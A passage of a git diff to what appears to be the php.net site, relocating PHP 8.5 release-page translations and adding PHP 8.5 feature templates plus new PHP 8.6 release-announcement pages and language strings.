    ', 'pipe_operator_title' => 'Pipe Operatörü', 'pipe_operator_description' => '

    Pipe operatörü, fonksiyon çağrılarını ara değişkenlerle uğraşmadan zincirlemenizi sağlar. Bu, iç içe geçmiş birçok çağrıyı ileri doğru okunabilecek bir zincir ile değiştirmenize olanak tanır.

    Bu özelliğin arka planını öğrenmek için PHP Foundation blogu’na bakabilirsiniz.

    ', - 'array_first_last_title' => 'array_first() ve array_last() fonksiyonları', + 'array_first_last_title' => 'array_first() ve array_last() fonksiyonları', 'array_first_last_description' => '

    array_first() ve array_last() fonksiyonları sırasıyla bir dizinin ilk veya son değerini döndürür. Eğer dizi boşsa null döner (bu, ?? operatörü ile kullanımı kolaylaştırır).

    ', 'clone_with_title' => 'Clone With', @@ -39,7 +33,7 @@ 'uri_extension_title' => 'URI Uzantısı', 'uri_extension_description' => '

    Yeni her zaman kullanılabilir URI uzantısı, URI ve URL’leri güvenli bir şekilde ayrıştırmak ve düzenlemek için API sağlar. RFC 3986 ve WHATWG URL standartlarına uygundur.

    uriparser (RFC 3986) ve Lexbor (WHATWG URL) kütüphaneleri tarafından desteklenmektedir.

    Bu özelliğin arka planını öğrenmek için PHP Foundation blogu’na bakabilirsiniz.

    ', - 'no_discard_title' => '#[\NoDiscard] Özelliği', + 'no_discard_title' => '#[\NoDiscard] Özelliği', 'no_discard_description' => '

    Bir fonksiyona #[\NoDiscard] ekleyerek PHP, döndürülen değerin kullanılıp kullanılmadığını kontrol eder ve kullanılmadığında uyarı verir. Bu, döndürülen değerin önemli olduğu API’lerde hataları önler.

    ', 'persistent_curl_share_handles_title' => 'Kalıcı cURL Paylaşılan Handle’lar', diff --git a/releases/8.5/languages/uk.php b/public/releases/8.5/languages/uk.php similarity index 95% rename from releases/8.5/languages/uk.php rename to public/releases/8.5/languages/uk.php index 9553251c70..8cc6d13257 100644 --- a/releases/8.5/languages/uk.php +++ b/public/releases/8.5/languages/uk.php @@ -14,23 +14,17 @@ 'key_features' => 'Ключові можливості PHP 8.5', 'key_features_description' => '

    Швидший, зрозуміліший, створений для розробників.

    ', - 'features_pipe_operator_title' => 'Оператор Pipe', 'features_pipe_operator_description' => '

    Оператор |> дозволяє об\'єднувати виклики у ланцюжок зліва направо, плавно передаючи значення через кілька функцій без проміжних змінних.

    ', - 'features_persistent_curl_share_handles_title' => 'Постійні cURL-дескриптори', 'features_persistent_curl_share_handles_description' => '

    Дескриптори тепер можуть зберігатися між декількома PHP-запитами, що дозволяє уникнути витрат на повторну ініціалізацію з\'єднання з тими самими хостами.

    ', - 'features_clone_with_title' => 'Конструкція Clone With', 'features_clone_with_description' => '

    Клонуйте об\'єкти та оновлюйте властивості за допомогою нової синтаксичної конструкції clone(), яка спрощує використання шаблону «with-er» для readonly класів.

    ', - 'features_uri_extension_title' => 'Розширення URI', 'features_uri_extension_description' => '

    У PHP 8.5 додано розширення URI для аналізу, нормалізації та обробки URL-адрес відповідно до стандартів RFC 3986 і WHATWG URL.

    ', - 'features_no_discard_title' => 'Атрибут #[\NoDiscard]', 'features_no_discard_description' => '

    Атрибут #[\NoDiscard] попереджає, коли повернене значення не використовується, допомагаючи запобігти помилкам і підвищити загальну безпеку API.

    ', - 'features_fcc_in_const_expr_title' => 'Замикання та callable-вирази першого класу в константних виразах', 'features_fcc_in_const_expr_description' => '

    Статичні замикання та callable-вирази першого класу тепер можна використовувати в константних виразах, таких як параметри атрибутів.

    ', 'pipe_operator_title' => 'Оператор Pipe', 'pipe_operator_description' => '

    Оператор Pipe дозволяє об\'єднувати виклики функцій у ланцюжок без використання проміжних змінних. Це дозволяє замінити багато «вкладених викликів» ланцюжком, який можна читати вперед, а не зсередини назовні.

    Дізнайтеся більше про історію створення цієї функції у блозі PHP Foundation.

    ', - 'array_first_last_title' => 'Функції array_first() і array_last()', + 'array_first_last_title' => 'Функції array_first() і array_last()', 'array_first_last_description' => '

    Функції array_first() і array_last() повертають перше або останнє значення масиву відповідно. Якщо масив порожній, повертається null (що полегшує компонування з оператором ??).

    ', 'clone_with_title' => 'Конструкція Clone With', @@ -39,7 +33,7 @@ 'uri_extension_title' => 'Розширення URI', 'uri_extension_description' => '

    Нове вбудоване розширення URI надає API для безпечного аналізу та зміни URI та URL згідно зі стандартами RFC 3986 і WHATWG URL.

    Працює на основі бібліотек uriparser (RFC 3986) і Lexbor (WHATWG URL).

    Дізнайтеся більше про історію створення цієї функції у блозі PHP Foundation.

    ', - 'no_discard_title' => 'Атрибут #[\NoDiscard]', + 'no_discard_title' => 'Атрибут #[\NoDiscard]', 'no_discard_description' => '

    Після додавання атрибуту #[\NoDiscard] до функції PHP перевірятиме, чи використовується повернене значення, і викликатиме попередження, якщо ні. Це дозволяє підвищити безпеку API, де повернене значення є важливим, але його можна випадково проігнорувати.

    Відповідне приведення типу (void) може використовуватися як вказівка, що значення не використовується навмисно.

    ', 'persistent_curl_share_handles_title' => 'Постійні cURL-дескриптори', diff --git a/releases/8.5/languages/vi.php b/public/releases/8.5/languages/vi.php similarity index 94% rename from releases/8.5/languages/vi.php rename to public/releases/8.5/languages/vi.php index 2901def619..a9bedcdfc3 100644 --- a/releases/8.5/languages/vi.php +++ b/public/releases/8.5/languages/vi.php @@ -14,23 +14,17 @@ 'key_features' => 'Các tính năng chính trong PHP 8.5', 'key_features_description' => '

    Nhanh hơn, sạch hơn, và được tối ưu cho lập trình viên.

    ', - 'features_pipe_operator_title' => 'Toán tử Pipe', 'features_pipe_operator_description' => '

    Toán tử |> cho phép chuỗi hóa các lệnh gọi từ trái sang phải, truyền giá trị mượt mà qua nhiều hàm mà không cần biến trung gian.

    ', - 'features_persistent_curl_share_handles_title' => 'Persistent cURL Share Handles', 'features_persistent_curl_share_handles_description' => '

    Các Handle hiện có thể duy trì qua nhiều request PHP, giúp tránh chi phí khởi tạo kết nối lặp lại tới cùng một host.

    ', - 'features_clone_with_title' => 'Clone With (Sao chép kèm sửa đổi)', 'features_clone_with_description' => '

    Sao chép đối tượng và cập nhật thuộc tính với cú pháp clone() mới, giúp triển khai mô hình "with-er" đơn giản hơn cho các lớp readonly.

    ', - 'features_uri_extension_title' => 'URI Extension', 'features_uri_extension_description' => '

    PHP 8.5 bổ sung một extension URI tích hợp để phân tích, chuẩn hóa và xử lý URL theo các tiêu chuẩn RFC 3986 và WHATWG URL.

    ', - 'features_no_discard_title' => 'Attribute #[\NoDiscard]', 'features_no_discard_description' => '

    Attribute #[\NoDiscard] sẽ đưa ra cảnh báo khi giá trị trả về không được sử dụng, giúp ngăn ngừa sai sót và cải thiện tính an toàn của API.

    ', - 'features_fcc_in_const_expr_title' => 'Closures và First-Class Callables trong biểu thức hằng số', 'features_fcc_in_const_expr_description' => '

    Các Static closure và first-class callable hiện có thể được dùng trong các biểu thức hằng số, chẳng hạn như tham số của attribute.

    ', 'pipe_operator_title' => 'Toán tử Pipe', 'pipe_operator_description' => '

    Toán tử pipe cho phép kết nối các lệnh gọi hàm với nhau mà không cần xử lý biến trung gian. Điều này giúp thay thế các "lệnh gọi lồng nhau" bằng một chuỗi có thể đọc từ trước ra sau, thay vì từ trong ra ngoài.

    Tìm hiểu thêm về lịch sử tính năng này tại Blog của PHP Foundation.

    ', - 'array_first_last_title' => 'Hàm array_first() và array_last()', + 'array_first_last_title' => 'Hàm array_first() và array_last()', 'array_first_last_description' => '

    Các hàm array_first() và array_last() trả về giá trị đầu tiên hoặc cuối cùng của một mảng. Nếu mảng trống, giá trị null sẽ được trả về (giúp dễ dàng kết hợp với toán tử ??).

    ', 'clone_with_title' => 'Clone With (Sao chép kèm sửa đổi)', @@ -39,7 +33,7 @@ 'uri_extension_title' => 'URI Extension', 'uri_extension_description' => '

    Extension URI mới (luôn sẵn có) cung cấp các API để phân tích và chỉnh sửa URI/URL một cách an toàn theo tiêu chuẩn RFC 3986 và WHATWG URL.

    Được vận hành bởi các thư viện uriparser (RFC 3986) và Lexbor (WHATWG URL).

    ', - 'no_discard_title' => 'Attribute #[\NoDiscard]', + 'no_discard_title' => 'Attribute #[\NoDiscard]', 'no_discard_description' => '

    Bằng cách thêm attribute #[\NoDiscard] vào một hàm, PHP sẽ kiểm tra xem giá trị trả về có được tiêu thụ hay không và phát cảnh báo nếu không. Điều này giúp tăng độ an toàn cho API khi giá trị trả về là quan trọng nhưng dễ bị bỏ quên.

    Ép kiểu (void) có thể được dùng để chỉ thị rằng giá trị đó cố tình không được sử dụng.

    ', 'persistent_curl_share_handles_title' => 'Persistent cURL Share Handles', diff --git a/releases/8.5/languages/zh.php b/public/releases/8.5/languages/zh.php similarity index 93% rename from releases/8.5/languages/zh.php rename to public/releases/8.5/languages/zh.php index f37569e031..be10f394fa 100644 --- a/releases/8.5/languages/zh.php +++ b/public/releases/8.5/languages/zh.php @@ -18,23 +18,17 @@ 'key_features' => 'PHP 8.5 的主要特性', 'key_features_description' => '

    更快、更简洁、为开发者而生。

    ', - 'features_pipe_operator_title' => '管道操作符', 'features_pipe_operator_description' => '

    |> 操作符允许从左到右连接可调用项,让数值在多个函数间顺畅传递,无需中间变量。

    ', - 'features_persistent_curl_share_handles_title' => '持久化 cURL Share 句柄', 'features_persistent_curl_share_handles_description' => '

    句柄现在可以在多个 PHP 请求之间保持,不再需要重复初始化到同一主机的连接。

    ', - 'features_clone_with_title' => 'Clone With', 'features_clone_with_description' => '

    使用新的 clone() 语法可以克隆对象并更新属性,让 readonly 类的 "with-er" 模式变得简单。

    ', - 'features_uri_extension_title' => 'URI 扩展', 'features_uri_extension_description' => '

    PHP 8.5 增加了内置的 URI 扩展,用于按照 RFC 3986 和 WHATWG URL 标准解析、规范化和处理 URL。

    ', - 'features_no_discard_title' => '#[\NoDiscard] 属性', 'features_no_discard_description' => '

    #[\NoDiscard] 属性会在返回值未被使用时发出警告,有助于避免错误,提高 API 安全性。

    ', - 'features_fcc_in_const_expr_title' => '常量表达式中的闭包和 First-class 可调用', 'features_fcc_in_const_expr_description' => '

    静态闭包和 First-class 可调用现在可以用于常量表达式,例如属性参数。

    ', 'pipe_operator_title' => '管道操作符', 'pipe_operator_description' => '

    管道操作符允许将多个函数调用串联起来,而无需处理中间变量。它可以将许多“嵌套调用”替换成从左到右可读的链式结构。

    在 The PHP Foundation 的博客中了解该特性的更多背景。

    ', - 'array_first_last_title' => 'array_first() 与 array_last() 函数', + 'array_first_last_title' => 'array_first() 与 array_last() 函数', 'array_first_last_description' => '

    array_first() 与 array_last() 分别返回数组的第一个或最后一个值。若数组为空,则返回 null(方便与 ?? 操作符组合)。

    ', 'clone_with_title' => 'Clone With', @@ -43,7 +37,7 @@ 'uri_extension_title' => 'URI 扩展', 'uri_extension_description' => '

    全新的、始终可用的 URI 扩展提供了一组 API,可根据 RFC 3986 和 WHATWG URL 标准安全地解析和修改 URI 与 URL。

    由 uriparser(RFC 3986)和 Lexbor(WHATWG URL)库驱动。

    在 The PHP Foundation 的博客中了解更多背景。

    ', - 'no_discard_title' => '#[\NoDiscard] 属性', + 'no_discard_title' => '#[\NoDiscard] 属性', 'no_discard_description' => '

    为函数添加 #[\NoDiscard] 属性后,PHP 会检查返回值是否被使用,若未使用则发出警告。这样可以提高 API 的安全性,避免关键返回值被忽略。

    可以使用 (void) 来显式表示“我就是不使用这个结果”。

    ', 'persistent_curl_share_handles_title' => '持久化 cURL Share 句柄', diff --git a/public/releases/8.5/pt_BR.php b/public/releases/8.5/pt_BR.php new file mode 100644 index 0000000000..663ea85100 --- /dev/null +++ b/public/releases/8.5/pt_BR.php @@ -0,0 +1,5 @@ +getHost()); + // string(7) "php.net" + PHP, + ), + new FeatureComparison( + id: 'pipe-operator', + title: message('pipe_operator_title', $lang), + description: message('pipe_operator_description', $lang), + links: [ + 'RFC|https://wiki.php.net/rfc/pipe-operator-v3', + ], + before: <<<'PHP' + $title = ' PHP 8.5 Released '; + + $slug = strtolower( + str_replace('.', '', + str_replace(' ', '-', + trim($title) + ) + ) + ); + + var_dump($slug); + // string(15) "php-85-released" + PHP, + after: <<<'PHP' + $title = ' PHP 8.5 Released '; + + $slug = $title + |> trim(...) + |> (fn($str) => str_replace(' ', '-', $str)) + |> (fn($str) => str_replace('.', '', $str)) + |> strtolower(...); + + var_dump($slug); + // string(15) "php-85-released" + PHP, + ), + new FeatureComparison( + id: 'clone-with', + title: message('clone_with_title', $lang), + description: message('clone_with_description', $lang), + links: [ + 'RFC|https://wiki.php.net/rfc/clone_with_v2', + ], + before: <<<'PHP' + readonly class Color + { + public function __construct( + public int $red, + public int $green, + public int $blue, + public int $alpha = 255, + ) {} + + public function withAlpha(int $alpha): self + { + $values = get_object_vars($this); + $values['alpha'] = $alpha; + + return new self(...$values); + } + } + + $blue = new Color(79, 91, 147); + $transparentBlue = $blue->withAlpha(128); + PHP, + after: <<<'PHP' + readonly class Color + { + public function __construct( + public int $red, + public int $green, + public int $blue, + public int $alpha = 255, + ) {} + + public function withAlpha(int $alpha): self + { + return clone($this, [ + 'alpha' => $alpha, + ]); + } + } + + $blue = new Color(79, 91, 147); + $transparentBlue = $blue->withAlpha(128); + PHP, + ), + new FeatureComparison( + id: 'no-discard-attribute', + title: message('no_discard_title', $lang), + description: message('no_discard_description', $lang), + links: [ + 'RFC|https://wiki.php.net/rfc/marking_return_value_as_important', + ], + before: <<<'PHP' + function getPhpVersion(): string + { + return 'PHP 8.4'; + } + + getPhpVersion(); // No warning + PHP, + after: <<<'PHP' + #[\NoDiscard] + function getPhpVersion(): string + { + return 'PHP 8.5'; + } + + getPhpVersion(); + // Warning: The return value of function getPhpVersion() should + // either be used or intentionally ignored by casting it as (void) + PHP, + ), + new FeatureComparison( + id: 'closures-in-const-expr', + title: message('fcc_in_const_expr_title', $lang), + description: message('fcc_in_const_expr_description', $lang), + links: [ + 'RFC|https://wiki.php.net/rfc/closures_in_const_expr', + 'RFC|https://wiki.php.net/rfc/fcc_in_const_expr', + ], + before: <<<'PHP' + final class PostsController + { + #[AccessControl( + new Expression('request.user === post.getAuthor()'), + )] + public function update( + Request $request, + Post $post, + ): Response { + // ... + } + } + PHP, + after: <<<'PHP' + final class PostsController + { + #[AccessControl(static function ( + Request $request, + Post $post, + ): bool { + return $request->user === $post->getAuthor(); + })] + public function update( + Request $request, + Post $post, + ): Response { + // ... + } + } + PHP, + ), + new FeatureComparison( + id: 'persistent-curl-share-handles', + title: message('persistent_curl_share_handles_title', $lang), + description: message('persistent_curl_share_handles_description', $lang), + links: [ + 'RFC|https://wiki.php.net/rfc/curl_share_persistence', + 'RFC|https://wiki.php.net/rfc/curl_share_persistence_improvement', + ], + before: <<<'PHP' + $sh = curl_share_init(); + curl_share_setopt($sh, CURLSHOPT_SHARE, CURL_LOCK_DATA_DNS); + curl_share_setopt($sh, CURLSHOPT_SHARE, CURL_LOCK_DATA_CONNECT); + + $ch = curl_init('https://php.net/'); + curl_setopt($ch, CURLOPT_SHARE, $sh); + + curl_exec($ch); + PHP, + after: <<<'PHP' + $sh = curl_share_init_persistent([ + CURL_LOCK_DATA_DNS, + CURL_LOCK_DATA_CONNECT, + ]); + + $ch = curl_init('https://php.net/'); + curl_setopt($ch, CURLOPT_SHARE, $sh); + + // This may now reuse the connection from an earlier SAPI request + curl_exec($ch); + PHP, + ), + new FeatureComparison( + id: 'array-first-and-last-functions', + title: message('array_first_last_title', $lang), + description: message('array_first_last_description', $lang), + links: [ + 'RFC|https://wiki.php.net/rfc/array_first_last', + ], + before: <<<'PHP' + $lastEvent = $events === [] + ? null + : $events[array_key_last($events)]; + PHP, + after: <<<'PHP' + $lastEvent = array_last($events); + PHP, + ), +]; + +echo ReleasePage::getHeroSection( + title: message('main_title', $lang), + subtitle: message('main_subtitle', $lang), + logoSvg: <<<'SVG' + + SVG, + upgradeNow: message('upgrade_now', $lang), + whatsNew: message('whats_new', $lang), + released: message('released', $lang), +); +?> + +
    + + +
    +

    + +
    + +
    +
    +
    +
    +
    + + + + + + + +
    +
    +
    + +
    +
    +
    + + + + + + + +
    +
    +
    + +
    +
    +
    + + + + + + +
    +
    +
    + +
    +
    +
    + + + + + + + +
    +
    +
    + +
    +
    +
    + + + + + + + +
    +
    +
    + +
    +
    +
    + + + + + + + +
    +
    +
    +
    +
    +
    + + + +
    +
    +
    +
    +

    +
      +
    • +
    • +
    • #[\Override]']) ?>
    • +
    • #[\Deprecated]']) ?>
    • +
    • +
    • +
    • +
    • setcookie()', + 'setrawcookie()', + ]) ?>
    • +
    • get_error_handler()', + 'get_exception_handler()', + ]) ?>
    • +
    • Dom\Element::getElementsByClassName()', + 'Dom\Element::insertAdjacentHTML()', + ]) ?>
    • +
    • grapheme_levenshtein()']) ?>
    • +
    • #[\DelayedTargetValidation]']) ?>
    • +
    +
    +
    +

    +
      +
    • shell_exec()', + ]) ?>
    • +
    • +
    • disable_classes']) ?>
    • +
    • +
    • array_key_exists()', + ]) ?>
    • +
    • class_alias()', + ]) ?>
    • +
    • __sleep()', + '__wakeup()', + '__serialize()', + '__unserialize()', + ]) ?>
    • +
    • NAN']) ?>
    • +
    • []', 'list()']) ?>
    • +
    • +
    +
    +
    +
    +
    +Created as part of + + The PHP Foundation Design Contest. +

    + HTML, +); + +site_footer(['footer' => false]); diff --git a/public/releases/8.5/ru.php b/public/releases/8.5/ru.php new file mode 100644 index 0000000000..55e44842ed --- /dev/null +++ b/public/releases/8.5/ru.php @@ -0,0 +1,5 @@ + 'English', + 'ru' => 'Русский', + 'zh' => '简体中文', + 'nl' => 'Nederlands', + 'pt_BR' => 'Brazilian Portuguese', +]; + +function common_header(string $description): void { + global $MYSITE, $lang; + + $meta_image_url = \filter_var($MYSITE . 'images/php8/php_8_6_released.png', \FILTER_VALIDATE_URL); + $meta_image_path = $meta_image_url === false ? '' : \htmlspecialchars($meta_image_url); + $meta_description = \htmlspecialchars($description); + + $languages = []; + foreach (LANGUAGES as $code => $text) { + $languages[] = ['name' => $text, 'selected' => $lang === $code, 'url' => '/releases/8.6/' . $code . '.php']; + } + + \site_header("PHP 8.6 Release Announcement", [ + 'current' => 'php85', + 'css' => ['php85.css'], + 'language_switcher' => $languages, + 'theme_switcher' => true, + 'cache_control' => 60 * 60, // 1 hour + 'meta_tags' => << + + + + + + + + + + + + +META + ]); +} + +/** + * @param array $interpolations + */ +function message(string $code, string $language = 'en', array $interpolations = []): string +{ + $original = require __DIR__ . '/languages/en.php'; + if (($language !== 'en') && file_exists(__DIR__ . '/languages/' . $language . '.php')) { + $translation = require __DIR__ . '/languages/' . $language . '.php'; + } + + $message = $translation[$code] ?? $original[$code] ?? $code; + + foreach ($interpolations as $name => $value) { + $message = str_replace("{{$name}}", $value, $message); + } + + return $message; +} diff --git a/public/releases/8.6/en.php b/public/releases/8.6/en.php new file mode 100644 index 0000000000..569ea7b5d0 --- /dev/null +++ b/public/releases/8.6/en.php @@ -0,0 +1,5 @@ +chooseCode("", "", $_SERVER['HTTP_ACCEPT_LANGUAGE']); + +mirror_redirect("/releases/8.6/$lang.php"); diff --git a/public/releases/8.6/languages/en.php b/public/releases/8.6/languages/en.php new file mode 100644 index 0000000000..b3f261ce6d --- /dev/null +++ b/public/releases/8.6/languages/en.php @@ -0,0 +1,79 @@ + 'PHP 8.6 is a major update of the PHP language, with new features including Partial Function Application, a new Duration class, a Polling API, and a new clamp() function', + 'main_title' => 'Faster, Safer, More Powerful.', + 'main_subtitle' => '

    PHP 8.6 is a major update of the PHP language, with new features including Partial Function Application, a new Duration class, a Polling API, and a new clamp() function

    ', + + 'whats_new' => 'What\'s new in 8.6', + 'upgrade_now' => 'Upgrade to PHP 8.6', + 'old_version' => 'PHP 8.5 and older', + 'badge_new' => 'NEW', + 'documentation' => 'Doc', + 'released' => 'Will be released on November 19, 2026', + 'release_unavailable_reason' => 'PHP 8.6 has not been released yet. It will be released on November 19, 2026.', + 'key_features' => 'Key Features in PHP 8.6', + 'key_features_description' => '

    More expressive code, stronger types, and scalable I/O.

    ', + + 'features_pfa_description' => '

    Allows some of a function\'s arguments to be provided in advance, returning a Closure that accepts the rest.

    ', + 'features_readonly_property_defaults_description' => '

    Allows readonly properties to declare default values, so fixed values no longer have to be assigned in the constructor.

    ', + 'features_polling_api_description' => '

    Scalable I/O multiplexing using epoll, kqueue, and other native mechanisms, available to event loop libraries like ReactPHP and AMPHP.

    ', + 'features_clamp_description' => '

    Ensures that a given value (numeric or otherwise) falls within a specified range.

    ', + 'features_duration_description' => '

    The Duration class represents elapsed time as measured by a stopwatch.

    ', + 'features_sort_direction_description' => '

    A standard, type-safe way to express sort order that can be shared across libraries.

    ', + + 'pfa_title' => 'Partial Function Application', + 'pfa_description' => 'Allows some of a function\'s arguments to be provided in advance, using ? and ... placeholders for the rest. The result is a Closure, and the function is only called once the remaining arguments are passed to it.', + 'readonly_property_defaults_title' => 'Readonly Property Defaults', + 'readonly_property_defaults_description' => 'Instance readonly properties, including those in readonly classes, can now declare a default value. This makes it simple to implement get-only interface properties with fixed values, which previously required assigning them in a constructor. The default counts as the property\'s initialization, so the constructor cannot overwrite it.', + 'polling_api_title' => 'Polling API', + 'polling_api_description' => 'The new Io\Poll API efficiently monitors many streams at once using the best mechanism available on each platform (epoll, kqueue, event ports, or WSAPoll), without the scalability limits of stream_select(). It is designed as a common foundation that event loop libraries such as ReactPHP and AMPHP can build on.', + 'clamp_title' => 'New clamp() Function', + 'clamp_description' => 'Ensures that a given value (numeric or otherwise) falls within a specified range. Otherwise, the nearest boundary value is returned.', + 'duration_title' => 'New \Time\Duration Class', + 'duration_description' => 'The Duration class represents elapsed time as measured by a stopwatch. Its representation is independent of any time and timezone and can represent a range of more than 250 years with nanosecond precision. This makes it well-suited to represent timeouts or benchmark timings in an expressive way.', + 'sort_direction_title' => 'New SortDirection Enum', + 'sort_direction_description' => '

    The SortDirection enum provides a shared, type-safe way to express sort order with its Ascending and Descending cases. Previously, every library had to define its own way of representing sort direction, resulting in a mix of incompatible integers, strings, booleans, and custom enums. Since SortDirection is built into PHP, libraries can accept it in their public APIs without needing adapter code.

    Learn more about this feature in The PHP Foundation’s blog.

    ', + 'stream_error_handling_title' => 'Stream Error Handling', + 'stream_error_handling_description' => 'Stream operations can now be configured to throw a StreamException or to fail silently instead of emitting warnings. Errors are reported as structured StreamError objects with a StreamErrorCode enum case, the wrapper name, and the affected path or URL, and can also be retrieved later with stream_last_errors() or passed to a custom error handler.', + 'doc_comments_title' => 'DocComments for Function Parameters', + 'doc_comments_description' => 'Function and method parameters can now have their own DocComments, which are available via the new ReflectionParameter::getDocComment() method. This allows each parameter to be documented right next to its declaration, without repeating its name and type in a @param tag.', + 'isreadable_iswriteable_title' => 'New ReflectionProperty::isReadable() and ReflectionProperty::isWritable() Methods', + 'isreadable_iswriteable_description' => 'With readonly properties, asymmetric visibility, and property hooks, checking whether a property is public is no longer enough to know whether it can be read or written. The new methods answer this directly for a given scope, and optionally for a specific object, taking into account visibility, initialization state, hooks, and magic methods.', + + 'new_classes_title' => 'Additional Features and Improvements', + 'new_override_constants' => 'The #[\Override] attribute can now be applied to class constants and enum cases.', + 'new_enum_debug_info' => 'Enums can now implement the __debugInfo() magic method.', + 'new_const_object_writes' => 'Properties of objects stored in constants can now be modified directly, e.g. Config::DEFAULTS->timeout = 30.', + 'new_uri_builder' => 'New Uri\Rfc3986\UriBuilder and Uri\WhatWg\UrlBuilder classes build URIs from their components, along with new methods for detecting URI and host types and a Uri\WhatWg\url_percent_encode() function.', + 'new_sodium' => 'The Sodium extension adds post-quantum key encapsulation (X-Wing and ML-KEM-768), IP address encryption, and the SHAKE and TurboSHAKE extendable-output functions.', + 'new_tls' => 'TLS streams now support session resumption, external pre-shared keys, and TLS 1.3 early data (0-RTT).', + 'new_mysqli_quote_string' => 'New mysqli::quote_string() method escapes a string and wraps it in quotes, matching PDO::quote().', + 'new_pack_endianness' => 'pack() and unpack() now accept the < and > endianness modifiers on integer and float format codes.', + 'new_json_error_location' => 'JSON error messages now include the location of the error in the input.', + 'new_error_include_args' => 'The new error_include_args INI setting consistently includes function arguments in error messages.', + 'new_intl' => 'New grapheme_strrev() function reverses strings by grapheme cluster, and the new IntlNumberRangeFormatter class formats ranges of numbers.', + 'new_zip' => 'New ZipArchive::openString() and ZipArchive::closeString() methods work with in-memory archives.', + 'new_performance' => 'Performance improvements include compiling array_map() with first-class callable or partial application callbacks into loops, faster printf() calls, caching of stateless closures, and faster JSON encoding.', + + 'bc_title' => 'Deprecations and Backward Compatibility Breaks', + 'bc_return_in_finally' => 'Using return inside a finally block is now deprecated, as it silently discards exceptions and overrides values returned from the try or catch block.', + 'bc_constructor_return' => 'Returning a value from __construct() or __destruct() is now deprecated, as is making them generators. Declaring a nullable return type for __debugInfo() is also deprecated.', + 'bc_reserved_identifiers' => 'Using let or is as the name of a class, function, or constant is now deprecated. Using _ as a constant name, namespace as a class constant name, or readonly as a function name is also deprecated.', + 'bc_mbregex' => 'The mbstring regular expression functions such as mb_ereg() and mb_split() have been deprecated, as the underlying Oniguruma library is no longer maintained. PCRE functions with the u modifier can be used instead.', + 'bc_type_aliases' => 'The is_double(), is_long(), is_integer(), and doubleval() aliases have been deprecated. Use is_float(), is_int(), and floatval() instead.', + 'bc_spl_object_hash' => 'spl_object_hash() has been deprecated in favor of spl_object_id(), and spl_classes() in favor of ReflectionExtension::getClassNames().', + 'bc_objects_as_arrays' => 'Passing an object where an array is expected to array_walk(), array_walk_recursive(), http_build_query(), mb_convert_variables(), and compression functions and filters is now deprecated. Use get_object_vars() to convert the object first.', + 'bc_strcoll' => 'strcoll() and the SORT_LOCALE_STRING sort flag have been deprecated. Use the Collator class from the intl extension instead.', + 'bc_ignored_arguments' => 'Passing a third argument to define() is now deprecated, as is calling is_a() or is_subclass_of() with a class name string when $allow_string is false.', + 'bc_php_filter' => 'Using more than 16 filters in a php://filter URL without setting the filter.max_filter_count context option is now deprecated.', + 'bc_session_defaults' => 'Sessions are now more secure by default: session.use_strict_mode and session.cookie_httponly are enabled, and session.cookie_samesite is set to Lax.', + 'bc_session_handlers' => 'Custom session handlers that do not implement both create_sid() and validateId() are now deprecated.', + 'bc_other_deprecations' => 'The metaphone(), mysqli_get_charset(), and mysqli_stmt_init() functions are now deprecated, along with the CSV methods of SplFileObject and the sorting, flag, and serialization methods of ArrayIterator.', + 'bc_trim_form_feed' => 'trim(), ltrim(), and rtrim() now also strip form feed (\f) characters by default.', + 'bc_stream_close_errors' => 'fclose(), file_put_contents(), and copy() now return false when flushing or closing the stream fails, instead of silently ignoring the failure.', + 'bc_value_errors' => 'Many functions now throw a ValueError for out-of-range values, invalid flags, or strings containing NUL bytes, instead of silently truncating or ignoring them.', + + 'footer_title' => 'Better syntax, improved performance and type safety.', + 'footer_description' => '

    The full list of changes is recorded in the ChangeLog.

    Please consult the migration guide for a detailed list of new features and backward-incompatible changes.

    ', +]; diff --git a/public/releases/8.6/languages/nl.php b/public/releases/8.6/languages/nl.php new file mode 100644 index 0000000000..f3fc132380 --- /dev/null +++ b/public/releases/8.6/languages/nl.php @@ -0,0 +1,83 @@ + 'PHP 8.6 is een omvangrijke update van de PHP programmeertaal, met nieuwe functionaliteit zoals Partial Function Application, een nieuwe Duration-class, een Polling API en een nieuwe clamp()-functie', + 'main_title' => 'Sneller, veiliger, krachtiger.', + 'main_subtitle' => '

    PHP 8.6 is een omvangrijke update van de PHP programmeertaal, met nieuwe functionaliteit zoals Partial Function Application, een nieuwe Duration-class, een Polling API en een nieuwe clamp()-functie

    ', + + 'whats_new' => 'Wat is er nieuw in 8.6', + 'upgrade_now' => 'Upgrade naar PHP 8.6', + 'old_version' => 'PHP 8.5 en ouder', + 'badge_new' => 'NIEUW', + 'documentation' => 'Doc', + 'released' => 'Wordt uitgebracht op 19 november 2026', + 'release_unavailable_reason' => 'PHP 8.6 is nog niet uitgebracht. De release volgt op 19 november 2026.', + 'key_features' => 'Belangrijkste functionaliteit in PHP 8.6', + 'key_features_description' => '

    Expressievere code, sterkere types en schaalbare I/O.

    ', + + 'features_pfa_description' => '

    Maakt het mogelijk om een deel van de argumenten van een functie vooraf op te geven; het resultaat is een Closure die de overige argumenten accepteert.

    ', + 'features_readonly_property_defaults_description' => '

    Readonly eigenschappen kunnen nu een standaardwaarde declareren, zodat vaste waarden niet langer in de constructor toegewezen hoeven te worden.

    ', + 'features_polling_api_description' => '

    Schaalbare I/O-multiplexing via epoll, kqueue en andere native mechanismen, beschikbaar voor event loop bibliotheken zoals ReactPHP en AMPHP.

    ', + 'features_clamp_description' => '

    Zorgt ervoor dat een gegeven waarde (numeriek of anderszins) binnen een opgegeven bereik valt.

    ', + 'features_duration_description' => '

    De Duration-class stelt verstreken tijd voor, zoals gemeten door een stopwatch.

    ', + 'features_sort_direction_description' => '

    Een standaard, typeveilige manier om een sorteervolgorde uit te drukken die tussen bibliotheken gedeeld kan worden.

    ', + + 'pfa_title' => 'Partial Function Application', + 'pfa_description' => 'Maakt het mogelijk om een deel van de argumenten van een functie vooraf op te geven, met ? en ... als placeholders voor de rest. Het resultaat is een Closure, en de functie wordt pas aangeroepen zodra de overige argumenten eraan zijn doorgegeven.', + 'readonly_property_defaults_title' => 'Standaardwaarden voor readonly eigenschappen', + 'readonly_property_defaults_description' => 'Readonly eigenschappen van instanties, inclusief die in readonly classes, kunnen nu een standaardwaarde declareren. Dit maakt het eenvoudig om get-only interface-eigenschappen met vaste waarden te implementeren, waarvoor voorheen een toewijzing in de constructor nodig was. De standaardwaarde geldt als de initialisatie van de eigenschap, waardoor de constructor deze niet kan overschrijven.', + 'polling_api_title' => 'Polling API', + 'polling_api_description' => 'De nieuwe Io\Poll API bewaakt op efficiënte wijze vele streams tegelijk met het beste mechanisme dat op elk platform beschikbaar is (epoll, kqueue, event ports of WSAPoll), zonder de schaalbaarheidsbeperkingen van stream_select(). De 